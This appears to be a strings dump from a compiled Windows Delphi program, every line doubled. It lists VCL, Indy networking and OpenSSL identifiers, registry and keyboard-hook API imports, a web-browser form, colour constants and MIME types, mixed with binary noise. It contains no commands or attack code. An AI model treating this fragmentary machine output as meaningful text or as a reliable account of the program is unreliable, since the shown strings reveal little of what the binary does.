TWMKey

TWMKey

KeyData

KeyData

grfLocksSupported

grfLocksSupported

ENoMonitorSupportException

ENoMonitorSupportException

.uvCOu

.uvCOu

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

etNoMonitorSupportException

etNoMonitorSupportException

Operator

Operator

EVariantBadIndexError

EVariantBadIndexError

ssShift

ssShift

htKeyword

htKeyword

EInvalidOperation

EInvalidOperation

TList.TDirection

TList.TDirection

AOperator

AOperator

TThread.TSynchronizeRecord

TThread.TSynchronizeRecord

TOperation

TOperation

Operation

Operation

FOnExecute

FOnExecute

OnExecute

OnExecute

TList.Sort$ActRec

TList.Sort$ActRec

TComponent.FindComponent$ActRec

TComponent.FindComponent$ActRec

TComponent.FindComponent$ActRec` D

TComponent.FindComponent$ActRec` D

Uh

Uh

PhL%D

PhL%D

HelpKeyword

HelpKeyword

UnderstandsKeyword

UnderstandsKeyword

TRegKeyInfo

TRegKeyInfo

NumSubKeys

NumSubKeys

MaxSubKeyLen

MaxSubKeyLen

FCurrentKey

FCurrentKey

FRootKey

FRootKey

FCloseRootKey

FCloseRootKey

CloseKey

CloseKey

CreateKey

CreateKey

DeleteKey

DeleteKey

GetKeyInfo

GetKeyInfo

GetKeyNames

GetKeyNames

HasSubKeys

HasSubKeys

KeyExists

KeyExists

LoadKey

LoadKey

MoveKey

MoveKey

OpenKey

OpenKey

OpenKeyReadOnly

OpenKeyReadOnly

ReplaceKey

ReplaceKey

RestoreKey

RestoreKey

SaveKey

SaveKey

UnLoadKey

UnLoadKey

CurrentKey@

CurrentKey@

LastErrorMsg

LastErrorMsg

RootKey@

RootKey@

RootKeyName

RootKeyName

EInvalidGraphicOperation

EInvalidGraphicOperation

SupportsPartialTransparency

SupportsPartialTransparency

SupportsClipboardFormat

SupportsClipboardFormat

Monochrome

Monochrome

TCustomButton.TButtonStyle

TCustomButton.TButtonStyle

OnKeyDown

OnKeyDown

OnKeyPress4IG

OnKeyPress4IG

OnKeyUp

OnKeyUp

poPortrait

poPortrait

APort

APort

Port

Port

FAutoHotkeys

FAutoHotkeys

RethinkHotkeys

RethinkHotkeys

AutoHotkeysdrF

AutoHotkeysdrF

IsShortCut

IsShortCut

AutoHotkeys

AutoHotkeys

igoParentPassthrough

igoParentPassthrough

FAlwaysShowDragImages

FAlwaysShowDragImages

AlwaysShowDragImages

AlwaysShowDragImages

toFlickFallbackKeys

toFlickFallbackKeys

'TCustomGestureEngine.TGestureEngineFlag

'TCustomGestureEngine.TGestureEngineFlag

(TCustomGestureEngine.TGestureEngineFlags

(TCustomGestureEngine.TGestureEngineFlags

Supported

Supported

TKeyEvent

TKeyEvent

TKeyPressEvent

TKeyPressEvent

FHelpKeyword

FHelpKeyword

HelpKeyword@

HelpKeyword@

FOnKeyDown

FOnKeyDown

FOnKeyPress

FOnKeyPress

FOnKeyUp

FOnKeyUp

IsHintMsg

IsHintMsg

FNativeWheelSupport

FNativeWheelSupport

FWheelSupportMessage

FWheelSupportMessage

thHeaderItemLeftPressed

thHeaderItemLeftPressed

tsArrowBtnLeftPressed

tsArrowBtnLeftPressed

ttbThumbLeftPressed

ttbThumbLeftPressed

lrMonoChrome

lrMonoChrome

HelpKeyword`

HelpKeyword`

ssHotTrack

ssHotTrack

TWindowState

TWindowState

poProportional

poProportional

fsShowing

fsShowing

FWindowState

FWindowState

FKeyPreview

FKeyPreview

WantChildKey

WantChildKey

KeyPreview

KeyPreview

WindowState

WindowState

FBiDiKeyboard

FBiDiKeyboard

FNonBiDiKeyboard

FNonBiDiKeyboard

FEnumAllWindowsOnActivateHint

FEnumAllWindowsOnActivateHint

FOnActionExecute

FOnActionExecute

Keyword

Keyword

EnumAllWindowsOnActivateHint@

EnumAllWindowsOnActivateHint@

BiDiKeyboard@

BiDiKeyboard@

NonBiDiKeyboard

NonBiDiKeyboard

OnActionExecutep

OnActionExecutep

LicenseKey

LicenseKey

Uh.rK

Uh.rK

IWebBrowser

IWebBrowser

IWebBrowserApp

IWebBrowserApp

IWebBrowser2

IWebBrowser2

TWebBrowserStatusTextChange

TWebBrowserStatusTextChange

TWebBrowserProgressChange

TWebBrowserProgressChange

TWebBrowserCommandStateChange

TWebBrowserCommandStateChange

TWebBrowserTitleChange

TWebBrowserTitleChange

TWebBrowserPropertyChange

TWebBrowserPropertyChange

TWebBrowserBeforeNavigate2

TWebBrowserBeforeNavigate2

TWebBrowserNewWindow2

TWebBrowserNewWindow2

TWebBrowserNavigateComplete2

TWebBrowserNavigateComplete2

TWebBrowserDocumentComplete

TWebBrowserDocumentComplete

TWebBrowserOnVisible

TWebBrowserOnVisible

TWebBrowserOnToolBar

TWebBrowserOnToolBar

TWebBrowserOnMenuBar

TWebBrowserOnMenuBar

TWebBrowserOnStatusBar

TWebBrowserOnStatusBar

TWebBrowserOnFullScreen

TWebBrowserOnFullScreen

TWebBrowserOnTheaterMode

TWebBrowserOnTheaterMode

TWebBrowserWindowSetResizable

TWebBrowserWindowSetResizable

TWebBrowserWindowSetLeft

TWebBrowserWindowSetLeft

TWebBrowserWindowSetTop

TWebBrowserWindowSetTop

TWebBrowserWindowSetWidth

TWebBrowserWindowSetWidth

TWebBrowserWindowSetHeight

TWebBrowserWindowSetHeight

TWebBrowserWindowClosing

TWebBrowserWindowClosing

TWebBrowserClientToHostWindow

TWebBrowserClientToHostWindow

TWebBrowserSetSecureLockIcon

TWebBrowserSetSecureLockIcon

TWebBrowserFileDownload

TWebBrowserFileDownload

TWebBrowserNavigateError

TWebBrowserNavigateError

%TWebBrowserPrintTemplateInstantiation

%TWebBrowserPrintTemplateInstantiation

TWebBrowserPrintTemplateTeardown

TWebBrowserPrintTemplateTeardown

TWebBrowserUpdatePageStatus

TWebBrowserUpdatePageStatus

%TWebBrowserPrivacyImpactedStateChange

%TWebBrowserPrivacyImpactedStateChange

FOnWindowSetResizable

FOnWindowSetResizable

FOnWindowSetLeft

FOnWindowSetLeft

FOnWindowSetTop

FOnWindowSetTop

FOnWindowSetWidth

FOnWindowSetWidth

FOnWindowSetHeight

FOnWindowSetHeight

TWebBrowser&

TWebBrowser&

cmdID

cmdID

cmdexecopt

cmdexecopt

TWebBrowserH

TWebBrowserH

OnWindowSetResizablep

OnWindowSetResizablep

OnWindowSetLeft

OnWindowSetLeft

OnWindowSetTopP

OnWindowSetTopP

OnWindowSetWidth

OnWindowSetWidth

OnWindowSetHeight

OnWindowSetHeight

LocationURL

LocationURL

AMsg

AMsg

EIdCanNotBindPortInRange

EIdCanNotBindPortInRange

EIdInvalidPortRange

EIdInvalidPortRange

CheckIPVersionSupport

CheckIPVersionSupport

VPort

VPort

WSGetServByPort

WSGetServByPort

APortNumber

APortNumber

IdStackWindows

IdStackWindows

TIdSocketListWindows4

TIdSocketListWindows4

TIdSocketListWindowst

TIdSocketListWindowst

TIdStackWindowsg

TIdStackWindowsg

ReceiveMsg

ReceiveMsg

WSTranslateSocketErrorMsg

WSTranslateSocketErrorMsg

SupportsIPv6

SupportsIPv6

TIdStackWindowsL

TIdStackWindowsL

EIdIPVersionUnsupported4

EIdIPVersionUnsupported4

EIdIPVersionUnsupported

EIdIPVersionUnsupported

FSourcePort

FSourcePort

FDestPort

FDestPort

SourcePort

SourcePort

DestPort

DestPort

ftpTransfer

ftpTransfer

ftpReady

ftpReady

ftpAborted

ftpAborted

FClientPortMin

FClientPortMin

FClientPortMax

FClientPortMax

FPort

FPort

FPeerPort

FPeerPort

ClientPortMin

ClientPortMin

ClientPortMax@

ClientPortMax@

PeerPortSVW

PeerPortSVW

EIdPortRequired

EIdPortRequired

EIdPortRequiredl

EIdPortRequiredl

EIdTCPConnectionError

EIdTCPConnectionError

EIdObjectTypeNotSupported

EIdObjectTypeNotSupported

EIdObjectTypeNotSupported|

EIdObjectTypeNotSupported|

VMsgEnd

VMsgEnd

"EIdTransparentProxyUDPNotSupported

"EIdTransparentProxyUDPNotSupported

FPassword

FPassword

OpenUDP

OpenUDP

CloseUDP

CloseUDP

RecvFromUDP

RecvFromUDP

VPeerPort

VPeerPort

SendToUDP

SendToUDP

Password

Password

PortP

PortP

FBoundPort

FBoundPort

FBoundPortMax

FBoundPortMax

FBoundPortMin

FBoundPortMin

TIdTCPClientCustom'

TIdTCPClientCustom'

TIdTCPClientCustom

TIdTCPClientCustom

IdTCPClient

IdTCPClient

BoundPort

BoundPort

BoundPortMax

BoundPortMax

BoundPortMin

BoundPortMin

TIdTCPClient

TIdTCPClient

IPAsString

IPAsString

%EIdSocksUDPNotSupportedBySOCKSVersion

%EIdSocksUDPNotSupportedBySOCKSVersion

saUsernamePassword

saUsernamePassword

FUDPSocksAssociation

FUDPSocksAssociation

FDefaultPort

FDefaultPort

DefaultPortP

DefaultPortP

FLastCmdResult

FLastCmdResult

TIdTCPConnectionB

TIdTCPConnectionB

RaiseExceptionForLastCmdResult

RaiseExceptionForLastCmdResult

SendCmd

SendCmd

SendCmdf

SendCmdf

TIdTCPConnection

TIdTCPConnection

IdTCPConnection

IdTCPConnection

LastCmdResult

LastCmdResult

URLDecode

URLDecode

URLEncode

URLEncode

Password@

Password@

Port@

Port@

URLp

URLp

AURL

AURL

FHttpOnly

FHttpOnly

HttpOnly@

HttpOnly@

FCommentURL

FCommentURL

FPortList

FPortList

FRecvPort

FRecvPort

FUsePort

FUsePort

CommentURL

CommentURL

PortCount

PortCount

UsePort

UsePort

RecvPort

RecvPort

CompressFTPDeflate

CompressFTPDeflate

CompressFTPToIO

CompressFTPToIO

DecompressFTPFromIO

DecompressFTPFromIO

DecompressFTPDeflate

DecompressFTPDeflate

CompressHTTPDeflate

CompressHTTPDeflate

DecompressHTTPDeflate

DecompressHTTPDeflate

fPassThrough

fPassThrough

PassThrough

PassThrough

MakeFTPSvrPort

MakeFTPSvrPort

MakeFTPSvrPasv

MakeFTPSvrPasv

TIdClientSSLClassh

TIdClientSSLClassh

FURL

FURL

URLP

URLP

IdHTTPHeaderInfo

IdHTTPHeaderInfo

ProxyPassword

ProxyPassword

ProxyPort@

ProxyPort@

dsa_keygen

dsa_keygen

pub_key

pub_key

priv_key

priv_key

PEVP_PKEY

PEVP_PKEY

EVP_PKEY_union

EVP_PKEY_union

EVP_PKEY

EVP_PKEY

pkey

pkey

pkey_type

pkey_type

required_pkey_type

required_pkey_type

key_len

key_len

key_length

key_length

AUTHORITY_KEYID

AUTHORITY_KEYID

keyid

keyid

PAUTHORITY_KEYIDP

PAUTHORITY_KEYIDP

X509_PUBKEY

X509_PUBKEY

public_key

public_key

PX509_PUBKEY

PX509_PUBKEY

X509_CERT_AUX

X509_CERT_AUX

PX509_CERT_AUX

PX509_CERT_AUX

cert_info

cert_info

ex_nscert

ex_nscert

get_cert_methods

get_cert_methods

cert_crl

cert_crl

ppem_password_cb

ppem_password_cb

key_arg_length

key_arg_length

key_arg

key_arg

master_key_length

master_key_length

master_key

master_key

sess_cert

sess_cert

Ptlsext_ticket_key_cb!

Ptlsext_ticket_key_cb!

cert_store

cert_store

default_passwd_callback

default_passwd_callback

default_passwd_callback_userdata

default_passwd_callback_userdata

client_cert_cb

client_cert_cb

extra_certs

extra_certs

max_cert_list

max_cert_list

cert

cert

msg_callback

msg_callback

msg_callback_arg

msg_callback_arg

client_cert_engine

client_cert_engine

tlsext_tick_key_name

tlsext_tick_key_name

tlsext_tick_hmac_key

tlsext_tick_hmac_key

tlsext_tick_aes_key

tlsext_tick_aes_key

tlsext_ticket_key_cb

tlsext_ticket_key_cb

init_msg

init_msg

read_key

read_key

write_key

write_key

key_material_length

key_material_length

key_material

key_material

tmp_cert_type

tmp_cert_type

tmp_cert_length

tmp_cert_length

tmp_cert_verify_md

tmp_cert_verify_md

tmp_cert_req

tmp_cert_req

tmp_key_block_length

tmp_key_block_length

tmp_key_block

tmp_key_block

tmp_cert_request

tmp_cert_request

msg_len

msg_len

w_msg_hdr

w_msg_hdr

r_msg_hdr

r_msg_hdr

sslvrfFailIfNoPeerCert

sslvrfFailIfNoPeerCert

TPasswordEvent

TPasswordEvent

Certificate

Certificate

fsRootCertFile

fsRootCertFile

fsCertFile

fsCertFile

fsKeyFile

fsKeyFile

RootCertFile@

RootCertFile@

CertFile@

CertFile@

KeyFilel

KeyFilel

LoadRootCert

LoadRootCert

LoadCert

LoadCert

RootCertFiled

RootCertFiled

CertFiled

CertFiled

KeyFile

KeyFile

fPeerCert

fPeerCert

PeerCert,

PeerCert,

fOnGetPassword

fOnGetPassword

OnGetPassword

OnGetPassword

EIdOSSLLoadingRootCertErrorh

EIdOSSLLoadingRootCertErrorh

EIdOSSLLoadingRootCertError

EIdOSSLLoadingRootCertError

EIdOSSLLoadingCertError$

EIdOSSLLoadingCertError$

EIdOSSLLoadingCertError

EIdOSSLLoadingCertError

EIdOSSLLoadingKeyError

EIdOSSLLoadingKeyError

TIdHTTPConnectionType

TIdHTTPConnectionType

IdHTTP

IdHTTP

TIdHTTPOption

TIdHTTPOption

TIdHTTPOptions

TIdHTTPOptions

TIdHTTPProtocolVersion

TIdHTTPProtocolVersion

TIdHTTPOnRedirectEvent

TIdHTTPOnRedirectEvent

TIdHTTPOnHeadersAvailable

TIdHTTPOnHeadersAvailable

FHTTP

FHTTP

TIdHTTPResponse7

TIdHTTPResponse7

TIdHTTPResponse

TIdHTTPResponse

TIdHTTPRequest5

TIdHTTPRequest5

AHTTP

AHTTP

TIdHTTPRequest

TIdHTTPRequest

TIdHTTPProtocol;

TIdHTTPProtocol;

TIdHTTPProtocol

TIdHTTPProtocol

FHTTPProto

FHTTPProto

TIdCustomHTTP'

TIdCustomHTTP'

TIdCustomHTTP8

TIdCustomHTTP8

HTTPOptions@

HTTPOptions@

TIdHTTP

TIdHTTP

EIdHTTPProtocolExceptionn

EIdHTTPProtocolExceptionn

EIdHTTPProtocolException

EIdHTTPProtocolException

BaseHttpn

BaseHttpn

GetWebRequestByGet

GetWebRequestByGet

GetWebRequestByPost

GetWebRequestByPost

BaseHttp0TR

BaseHttp0TR

HttpHelper

HttpHelper

TFileOperation

TFileOperation

FileOperation

FileOperation

FCompletionPort

FCompletionPort

WebBrowser1

WebBrowser1

WebMainFrm

WebMainFrm

GetNavweb

GetNavweb

ShowCmd

ShowCmd

HotKey

HotKey

UrlMon

UrlMon

IdTCPServer

IdTCPServer

IdCustomTCPServer

IdCustomTCPServer

KGS!@#$%X

KGS!@#$%X

?456789:;

?456789:;

!"#$%&'()* ,-./0123

!"#$%&'()* ,-./0123

oleaut32.dll

oleaut32.dll

advapi32.dll

advapi32.dll

RegOpenKeyExW

RegOpenKeyExW

RegCloseKey

RegCloseKey

user32.dll

user32.dll

kernel32.dll

kernel32.dll

UnhookWindowsHookEx

UnhookWindowsHookEx

SetWindowsHookExW

SetWindowsHookExW

MsgWaitForMultipleObjectsEx

MsgWaitForMultipleObjectsEx

MsgWaitForMultipleObjects

MsgWaitForMultipleObjects

MapVirtualKeyW

MapVirtualKeyW

LoadKeyboardLayoutW

LoadKeyboardLayoutW

GetKeyboardState

GetKeyboardState

GetKeyboardLayoutNameW

GetKeyboardLayoutNameW

GetKeyboardLayoutList

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyboardLayout

GetKeyState

GetKeyState

GetKeyNameTextW

GetKeyNameTextW

EnumWindows

EnumWindows

EnumThreadWindows

EnumThreadWindows

EnumChildWindows

EnumChildWindows

ActivateKeyboardLayout

ActivateKeyboardLayout

msimg32.dll

msimg32.dll

gdi32.dll

gdi32.dll

SetViewportOrgEx

SetViewportOrgEx

version.dll

version.dll

GetCPInfo

GetCPInfo

CreateIoCompletionPort

CreateIoCompletionPort

RegUnLoadKeyW

RegUnLoadKeyW

RegSaveKeyW

RegSaveKeyW

RegRestoreKeyW

RegRestoreKeyW

RegReplaceKeyW

RegReplaceKeyW

RegQueryInfoKeyW

RegQueryInfoKeyW

RegLoadKeyW

RegLoadKeyW

RegFlushKey

RegFlushKey

RegEnumKeyExW

RegEnumKeyExW

RegDeleteKeyW

RegDeleteKeyW

RegCreateKeyExW

RegCreateKeyExW

ole32.dll

ole32.dll

comctl32.dll

comctl32.dll

shell32.dll

shell32.dll

ShellExecuteW

ShellExecuteW

winspool.drv

winspool.drv

netapi32.dll

netapi32.dll

uxtheme.dll

uxtheme.dll

DWMAPI.DLL

DWMAPI.DLL

windowscodecs.dll

windowscodecs.dll

0$0,0004080

0$0,0004080

: ;&;,;7;

: ;&;,;7;

7w7D7L7Z7l7y7

7w7D7L7Z7l7y7

4!4%4)4-4

4!4%4)4-4

7!7%7)7-717

7!7%7)7-717

7"7&7*7.7

7"7&7*7.7

?,?0?4?8?@?

?,?0?4?8?@?

4C4D4X4i4~4

4C4D4X4i4~4

0*020@0]0}0

0*020@0]0}0

3*31393=3^3

3*31393=3^3

393S3d3p3t3

393S3d3p3t3

2,2Q2c2~2

2,2Q2c2~2

0%1U1e1r1

0%1U1e1r1

?#?'?@?^?

?#?'?@?^?

5-555M5U5q5y5}5

5-555M5U5q5y5}5

>(>?>]>~>

>(>?>]>~>

9!9%9)9-9

9!9%9)9-9

7 7$7(7,7

7 7$7(7,7

71868[8`8

71868[8`8

1#2@2[2"3(3@3

1#2@2[2"3(3@3

?4?\?`?|?

?4?\?`?|?

2 2$2(2,2024282

2 2$2(2,2024282

2=3W3

2=3W3

4 4$4(4,4044484

4 4$4(4,4044484

5!5@5_5~5

5!5@5_5~5

> ?2?[?|?

> ?2?[?|?

5 5$5(5,585

5 5$5(5,585

: :$:(:4:<:>

: :$:(:4:<:>

= =$=(=,=0=4=

= =$=(=,=0=4=

: :$:(:,:0:4:8:<:>

: :$:(:,:0:4:8:<:>

; ;$;(;,;0;4;8;@?`?

; ;$;(;,;0;4;8;@?`?

333333333333333333

333333333333333333

33333833

33333833

3333339

3333339

3333333333333338

3333333333333338

:*"*"$3338

:*"*"$3338

3333333

3333333

33333333

33333333

33333333333

33333333333

3333333333338

3333333333338

33338?383

33338?383

333333333333

333333333333

:*3:"$3338

:*3:"$3338

333333333333333

333333333333333

(WebAPP

(WebAPP

KWindows

KWindows

IdTCPServer

IdTCPServer

0IdHTTPHeaderInfo

0IdHTTPHeaderInfo

Font.Charset

Font.Charset

Font.Color

Font.Color

Font.Height

Font.Height

Font.Name

Font.Name

Font.Style

Font.Style

TWebBrowser

TWebBrowser

Picture.Data

Picture.Data

(7),01444

(7),01444

'9=82<.342>

'9=82<.342>

version="1.0.0.0"

version="1.0.0.0"

name="Microsoft.Windows.Common-Controls"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

publicKeyToken="6595b64144ccf1df"

MSWHEEL_ROLLMSG

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

MSH_SCROLL_LINES_MSG

%s[%d]

%s[%d]

%s_%d

%s_%d

.Owner

.Owner

USER32.DLL

USER32.DLL

\\?\UNC\

\\?\UNC\

HKEY_CLASSES_ROOT

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_PERFORMANCE_DATA

HKEY_CURRENT_CONFIG

HKEY_CURRENT_CONFIG

HKEY_DYN_DATA

HKEY_DYN_DATA

%s (*.%s)|*.%1:s

%s (*.%s)|*.%1:s

%s (%s)|%1:s|

%s (%s)|%1:s|

SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes

SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes

clWebSnow

clWebSnow

clWebFloralWhite

clWebFloralWhite

clWebLavenderBlush

clWebLavenderBlush

clWebOldLace

clWebOldLace

clWebIvory

clWebIvory

clWebCornSilk

clWebCornSilk

clWebBeige

clWebBeige

clWebAntiqueWhite

clWebAntiqueWhite

clWebWheat

clWebWheat

clWebAliceBlue

clWebAliceBlue

clWebGhostWhite

clWebGhostWhite

clWebLavender

clWebLavender

clWebSeashell

clWebSeashell

clWebLightYellow

clWebLightYellow

clWebPapayaWhip

clWebPapayaWhip

clWebNavajoWhite

clWebNavajoWhite

clWebMoccasin

clWebMoccasin

clWebBurlywood

clWebBurlywood

clWebAzure

clWebAzure

clWebMintcream

clWebMintcream

clWebHoneydew

clWebHoneydew

clWebLinen

clWebLinen

clWebLemonChiffon

clWebLemonChiffon

clWebBlanchedAlmond

clWebBlanchedAlmond

clWebBisque

clWebBisque

clWebPeachPuff

clWebPeachPuff

clWebTan

clWebTan

clWebYellow

clWebYellow

clWebDarkOrange

clWebDarkOrange

clWebRed

clWebRed

clWebDarkRed

clWebDarkRed

clWebMaroon

clWebMaroon

clWebIndianRed

clWebIndianRed

clWebSalmon

clWebSalmon

clWebCoral

clWebCoral

clWebGold

clWebGold

clWebTomato

clWebTomato

clWebCrimson

clWebCrimson

clWebBrown

clWebBrown

clWebChocolate

clWebChocolate

clWebSandyBrown

clWebSandyBrown

clWebLightSalmon

clWebLightSalmon

clWebLightCoral

clWebLightCoral

clWebOrange

clWebOrange

clWebOrangeRed

clWebOrangeRed

clWebFirebrick

clWebFirebrick

clWebSaddleBrown

clWebSaddleBrown

clWebSienna

clWebSienna

clWebPeru

clWebPeru

clWebDarkSalmon

clWebDarkSalmon

clWebRosyBrown

clWebRosyBrown

clWebPaleGoldenrod

clWebPaleGoldenrod

clWebLightGoldenrodYellow

clWebLightGoldenrodYellow

clWebOlive

clWebOlive

clWebForestGreen

clWebForestGreen

clWebGreenYellow

clWebGreenYellow

clWebChartreuse

clWebChartreuse

clWebLightGreen

clWebLightGreen

clWebAquamarine

clWebAquamarine

clWebSeaGreen

clWebSeaGreen

clWebGoldenRod

clWebGoldenRod

clWebKhaki

clWebKhaki

clWebOliveDrab

clWebOliveDrab

clWebGreen

clWebGreen

clWebYellowGreen

clWebYellowGreen

clWebLawnGreen

clWebLawnGreen

clWebPaleGreen

clWebPaleGreen

clWebMediumAquamarine

clWebMediumAquamarine

clWebMediumSeaGreen

clWebMediumSeaGreen

clWebDarkGoldenRod

clWebDarkGoldenRod

clWebDarkKhaki

clWebDarkKhaki

clWebDarkOliveGreen

clWebDarkOliveGreen

clWebDarkgreen

clWebDarkgreen

clWebLimeGreen

clWebLimeGreen

clWebLime

clWebLime

clWebSpringGreen

clWebSpringGreen

clWebMediumSpringGreen

clWebMediumSpringGreen

clWebDarkSeaGreen

clWebDarkSeaGreen

clWebLightSeaGreen

clWebLightSeaGreen

clWebPaleTurquoise

clWebPaleTurquoise

clWebLightCyan

clWebLightCyan

clWebLightBlue

clWebLightBlue

clWebLightSkyBlue

clWebLightSkyBlue

clWebCornFlowerBlue

clWebCornFlowerBlue

clWebDarkBlue

clWebDarkBlue

clWebIndigo

clWebIndigo

clWebMediumTurquoise

clWebMediumTurquoise

clWebTurquoise

clWebTurquoise

clWebCyan

clWebCyan

clWebPowderBlue

clWebPowderBlue

clWebSkyBlue

clWebSkyBlue

clWebRoyalBlue

clWebRoyalBlue

clWebMediumBlue

clWebMediumBlue

clWebMidnightBlue

clWebMidnightBlue

clWebDarkTurquoise

clWebDarkTurquoise

clWebCadetBlue

clWebCadetBlue

clWebDarkCyan

clWebDarkCyan

clWebTeal

clWebTeal

clWebDeepskyBlue

clWebDeepskyBlue

clWebDodgerBlue

clWebDodgerBlue

clWebBlue

clWebBlue

clWebNavy

clWebNavy

clWebDarkViolet

clWebDarkViolet

clWebDarkOrchid

clWebDarkOrchid

clWebMagenta

clWebMagenta

clWebDarkMagenta

clWebDarkMagenta

clWebMediumVioletRed

clWebMediumVioletRed

clWebPaleVioletRed

clWebPaleVioletRed

clWebBlueViolet

clWebBlueViolet

clWebMediumOrchid

clWebMediumOrchid

clWebMediumPurple

clWebMediumPurple

clWebPurple

clWebPurple

clWebDeepPink

clWebDeepPink

clWebLightPink

clWebLightPink

clWebViolet

clWebViolet

clWebOrchid

clWebOrchid

clWebPlum

clWebPlum

clWebThistle

clWebThistle

clWebHotPink

clWebHotPink

clWebPink

clWebPink

clWebLightSteelBlue

clWebLightSteelBlue

clWebMediumSlateBlue

clWebMediumSlateBlue

clWebLightSlateGray

clWebLightSlateGray

clWebWhite

clWebWhite

clWebLightgrey

clWebLightgrey

clWebGray

clWebGray

clWebSteelBlue

clWebSteelBlue

clWebSlateBlue

clWebSlateBlue

clWebSlateGray

clWebSlateGray

clWebWhiteSmoke

clWebWhiteSmoke

clWebSilver

clWebSilver

clWebDimGray

clWebDimGray

clWebMistyRose

clWebMistyRose

clWebDarkSlateBlue

clWebDarkSlateBlue

clWebDarkSlategray

clWebDarkSlategray

clWebGainsboro

clWebGainsboro

clWebDarkGray

clWebDarkGray

clWebBlack

clWebBlack

\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\

\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\

crSQLWait

crSQLWait

%s (%s)

%s (%s)

imm32.dll

imm32.dll

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

%s, ClassID: %s

%s, ClassID: %s

%s, ProgID: "%s"

%s, ProgID: "%s"

olepro32.dll

olepro32.dll

%d - %s

%d - %s

C:\Builds\TP\indysockets\lib\System\IdStreamVCL.pas

C:\Builds\TP\indysockets\lib\System\IdStreamVCL.pas

C:\Builds\TP\indysockets\lib\System\IdGlobal.pas

C:\Builds\TP\indysockets\lib\System\IdGlobal.pas

%s, %.2d %s %.4d %s %s

%s, %.2d %s %.4d %s %s

%s, %.2d-%s-%.2d %s %s

%s, %.2d-%s-%.2d %s %s

10.5.5

10.5.5

WS2_32.DLL

WS2_32.DLL

getservbyport

getservbyport

WSAAsyncGetServByPort

WSAAsyncGetServByPort

WSAJoinLeaf

WSAJoinLeaf

MSWSOCK.DLL

MSWSOCK.DLL

WSARecvMsg

WSARecvMsg

WSASendMsg

WSASendMsg

Wship6.dll

Wship6.dll

Fwpuclnt.dll

Fwpuclnt.dll

127.0.0.1

127.0.0.1

C:\Builds\TP\indysockets\lib\System\IdStack.pas

C:\Builds\TP\indysockets\lib\System\IdStack.pas

255.255.255.255

255.255.255.255

C:\Builds\TP\indysockets\lib\Core\IdIOHandler.pas

C:\Builds\TP\indysockets\lib\Core\IdIOHandler.pas

0.0.0.0

0.0.0.0

0.0.0.1

0.0.0.1

C:\Builds\TP\indysockets\lib\Core\IdIOHandlerStack.pas

C:\Builds\TP\indysockets\lib\Core\IdIOHandlerStack.pas

ISO_646.irv:1991

ISO_646.irv:1991

ISO_646.basic:1983

ISO_646.basic:1983

ISO_646.irv:1983

ISO_646.irv:1983

csISO16Portuguese

csISO16Portuguese

csISO84Portuguese2

csISO84Portuguese2

windows-936

windows-936

csShiftJIS

csShiftJIS

ISO-8859-1-Windows-3.0-Latin-1

ISO-8859-1-Windows-3.0-Latin-1

csWindows30Latin1

csWindows30Latin1

ISO-8859-1-Windows-3.1-Latin-1

ISO-8859-1-Windows-3.1-Latin-1

csWindows31Latin1

csWindows31Latin1

ISO-8859-2-Windows-Latin-2

ISO-8859-2-Windows-Latin-2

csWindows31Latin2

csWindows31Latin2

ISO-8859-9-Windows-Latin-5

ISO-8859-9-Windows-Latin-5

csWindows31Latin5

csWindows31Latin5

csMicrosoftPublishing

csMicrosoftPublishing

Windows-31J

Windows-31J

csWindows31J

csWindows31J

windows-1250

windows-1250

windows-1251

windows-1251

windows-1252

windows-1252

windows-1253

windows-1253

windows-1254

windows-1254

windows-1255

windows-1255

windows-1256

windows-1256

windows-1257

windows-1257

windows-1258

windows-1258

.nml=animation/narrative

.nml=animation/narrative

.aiff=audio/x-aiff

.aiff=audio/x-aiff

.au=audio/basic

.au=audio/basic

.mid=midi/mid

.mid=midi/mid

.mp3=audio/x-mpg

.mp3=audio/x-mpg

.m3u=audio/x-mpegurl

.m3u=audio/x-mpegurl

.qcp=audio/vnd.qcelp

.qcp=audio/vnd.qcelp

.ra=audio/x-realaudio

.ra=audio/x-realaudio

.wav=audio/x-wav

.wav=audio/x-wav

.gsm=audio/x-gsm

.gsm=audio/x-gsm

.wax=audio/x-ms-wax

.wax=audio/x-ms-wax

.wma=audio/x-ms-wma

.wma=audio/x-ms-wma

.ram=audio/x-pn-realaudio

.ram=audio/x-pn-realaudio

.mjf=audio/x-vnd.AudioExplosion.MjuiceMediaFile

.mjf=audio/x-vnd.AudioExplosion.MjuiceMediaFile

.bmp=image/bmp

.bmp=image/bmp

.gif=image/gif

.gif=image/gif

.jpg=image/jpeg

.jpg=image/jpeg

.jpeg=image/jpeg

.jpeg=image/jpeg

.jpe=image/jpeg

.jpe=image/jpeg

.pict=image/x-pict

.pict=image/x-pict

.png=image/x-png

.png=image/x-png

.svg=image/svg-xml

.svg=image/svg-xml

.tif=image/x-tiff

.tif=image/x-tiff

.rf=image/vnd.rn-realflash

.rf=image/vnd.rn-realflash

.rp=image/vnd.rn-realpix

.rp=image/vnd.rn-realpix

.ico=image/x-icon

.ico=image/x-icon

.art=image/x-jg

.art=image/x-jg

.pntg=image/x-macpaint

.pntg=image/x-macpaint

.qtif=image/x-quicktime

.qtif=image/x-quicktime

.sgi=image/x-sgi

.sgi=image/x-sgi

.targa=image/x-targa

.targa=image/x-targa

.xbm=image/xbm

.xbm=image/xbm

.psd=image/x-psd

.psd=image/x-psd

.pnm=image/x-portable-anymap

.pnm=image/x-portable-anymap

